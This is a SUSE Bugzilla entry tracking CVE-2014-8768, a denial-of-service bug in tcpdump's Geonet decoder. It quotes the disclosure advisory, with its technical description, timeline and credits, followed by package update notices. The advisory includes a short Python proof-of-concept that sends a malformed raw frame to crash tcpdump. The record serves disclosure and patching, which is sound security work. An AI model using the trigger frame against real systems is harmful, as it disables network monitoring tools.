Bugzilla – Bug 905871
VUL-0: CVE-2014-8768: tcpdump: denial of service in verbose mode using malformed Geonet payload
Last modified: 2017-05-08 16:12:58 UTC
CVE-2014-8768 tcpdump denial of service in verbose mode using malformed Geonet payload 1. Background tcpdump is a powerful command-line packet analyzer. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. 2. Summary Information It was found out that malformed network traffic (Geonet-based) can lead to an application crash (denial of service) if verbose output of tcpdump monitoring the network is used. 3. Technical Description The application decoder for the geonet protocol fails to perform external input validation and performs insufficient checking on length computations leading to an unsafe decrement and underflow in the function geonet_print(netdissect_options *ndo, const u_char *eth, const u_char *bp, u_int length) The affected variable is length which is later on used to print a memory chunk which eventually leads to a segfault. The function contains several unsafe computations updating the length variable. To reproduce start tcpdump on a network interface sudo tcpdump -i lo -s 0 -n -v (running the program with sudo might hide the segfault message on certain environments, see dmesg for details) and use the following python program to generate a frame on the network (might also need sudo): #!/usr/bin/env python from socket import socket, AF_PACKET, SOCK_RAW s = socket(AF_PACKET, SOCK_RAW) s.bind(("lo", 0)) geonet_frame = "\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x 0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00" s.send(geonet_frame) 4. Affected versions Affected versions are 4.5.0 through 4.6.2 (segfaults were reproducible in versions up to 4.6.1 on Ubuntu 14.04, but not reliably in 4.6.2. Code audit showed that unsafe computations are performed in 4.6.2, but the trigger frame might need to look different). 5. Fix The problem is fixed in the upcoming version tcpdump 4.7.0 6. Advisory Timeline 2014-11-08 Discovered 2014-11-09 Requested CVE 2014-11-11 Reported vendor by email 2014-11-12 Vendor made a fix available as repository patch 2014-11-13 CVE number received 2014-11-13 Published CVE advisory 7. Credit The issue was found by Steffen Bauch Twitter: @steffenbauch http://steffenbauch.de using a slightly enhanced version of american fuzzy lop (https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski. SLE 12 and openSUSE 13.2 are affected.
An update workflow for this issue was started. This issue was rated as low. Please submit fixed packages until 2014-12-16. When done, reassign the bug to security-team@suse.de. https://swamp.suse.de/webswamp/wf/59702
bugbot adjusting priority
SUSE-SU-2014:1723-1: An update that fixes three vulnerabilities is now available. Category: security (moderate) Bug References: 905870,905871,905872 CVE References: CVE-2014-8767,CVE-2014-8768,CVE-2014-8769 Sources used: SUSE Linux Enterprise Server 12 (src): tcpdump-4.5.1-4.1 SUSE Linux Enterprise Desktop 12 (src): tcpdump-4.5.1-4.1
This is an autogenerated message for OBS integration: This bug (905871) was mentioned in https://build.opensuse.org/request/show/284471 13.2+13.1 / tcpdump
openSUSE-SU-2015:0284-1: An update that fixes three vulnerabilities is now available. Category: security (moderate) Bug References: 905870,905871,905872 CVE References: CVE-2014-8767,CVE-2014-8768,CVE-2014-8769 Sources used: openSUSE 13.2 (src): tcpdump-4.6.2-4.1 openSUSE 13.1 (src): tcpdump-4.4.0-2.4.1
i think its fixed? sle11 was not mentiopned though, but seems not affectged
(In reply to Marcus Meissner from comment #9) > i think its fixed? sle11 was not mentiopned though, but seems not affectged SLE-11 is not affected. The geonet support was added after the release of 3.9.8. For an overview of the affected SLE distributions see comment #4.
SUSE-SU-2017:1110-1: An update that fixes 49 vulnerabilities is now available. Category: security (moderate) Bug References: 1020940,1035686,905870,905871,905872,922220,922221,922222,922223,927637 CVE References: CVE-2014-8767,CVE-2014-8768,CVE-2014-8769,CVE-2015-0261,CVE-2015-2153,CVE-2015-2154,CVE-2015-2155,CVE-2015-3138,CVE-2016-7922,CVE-2016-7923,CVE-2016-7924,CVE-2016-7925,CVE-2016-7926,CVE-2016-7927,CVE-2016-7928,CVE-2016-7929,CVE-2016-7930,CVE-2016-7931,CVE-2016-7932,CVE-2016-7933,CVE-2016-7934,CVE-2016-7935,CVE-2016-7936,CVE-2016-7937,CVE-2016-7938,CVE-2016-7939,CVE-2016-7940,CVE-2016-7973,CVE-2016-7974,CVE-2016-7975,CVE-2016-7983,CVE-2016-7984,CVE-2016-7985,CVE-2016-7986,CVE-2016-7992,CVE-2016-7993,CVE-2016-8574,CVE-2016-8575,CVE-2017-5202,CVE-2017-5203,CVE-2017-5204,CVE-2017-5205,CVE-2017-5341,CVE-2017-5342,CVE-2017-5482,CVE-2017-5483,CVE-2017-5484,CVE-2017-5485,CVE-2017-5486 Sources used: SUSE Linux Enterprise Workstation Extension 12-SP2 (src): libpcap-1.8.1-9.1 SUSE Linux Enterprise Workstation Extension 12-SP1 (src): libpcap-1.8.1-9.1 SUSE Linux Enterprise Software Development Kit 12-SP2 (src): libpcap-1.8.1-9.1 SUSE Linux Enterprise Software Development Kit 12-SP1 (src): libpcap-1.8.1-9.1 SUSE Linux Enterprise Server for Raspberry Pi 12-SP2 (src): libpcap-1.8.1-9.1, tcpdump-4.9.0-13.1 SUSE Linux Enterprise Server 12-SP2 (src): libpcap-1.8.1-9.1, tcpdump-4.9.0-13.1 SUSE Linux Enterprise Server 12-SP1 (src): libpcap-1.8.1-9.1, tcpdump-4.9.0-13.1 SUSE Linux Enterprise Desktop 12-SP2 (src): libpcap-1.8.1-9.1, tcpdump-4.9.0-13.1 SUSE Linux Enterprise Desktop 12-SP1 (src): libpcap-1.8.1-9.1, tcpdump-4.9.0-13.1
openSUSE-SU-2017:1199-1: An update that fixes 49 vulnerabilities is now available. Category: security (moderate) Bug References: 1020940,1035686,905870,905871,905872,922220,922221,922222,922223,927637 CVE References: CVE-2014-8767,CVE-2014-8768,CVE-2014-8769,CVE-2015-0261,CVE-2015-2153,CVE-2015-2154,CVE-2015-2155,CVE-2015-3138,CVE-2016-7922,CVE-2016-7923,CVE-2016-7924,CVE-2016-7925,CVE-2016-7926,CVE-2016-7927,CVE-2016-7928,CVE-2016-7929,CVE-2016-7930,CVE-2016-7931,CVE-2016-7932,CVE-2016-7933,CVE-2016-7934,CVE-2016-7935,CVE-2016-7936,CVE-2016-7937,CVE-2016-7938,CVE-2016-7939,CVE-2016-7940,CVE-2016-7973,CVE-2016-7974,CVE-2016-7975,CVE-2016-7983,CVE-2016-7984,CVE-2016-7985,CVE-2016-7986,CVE-2016-7992,CVE-2016-7993,CVE-2016-8574,CVE-2016-8575,CVE-2017-5202,CVE-2017-5203,CVE-2017-5204,CVE-2017-5205,CVE-2017-5341,CVE-2017-5342,CVE-2017-5482,CVE-2017-5483,CVE-2017-5484,CVE-2017-5485,CVE-2017-5486 Sources used: openSUSE Leap 42.2 (src): libpcap-1.8.1-7.3.1, tcpdump-4.9.0-6.3.1 openSUSE Leap 42.1 (src): libpcap-1.8.1-8.1, tcpdump-4.9.0-7.1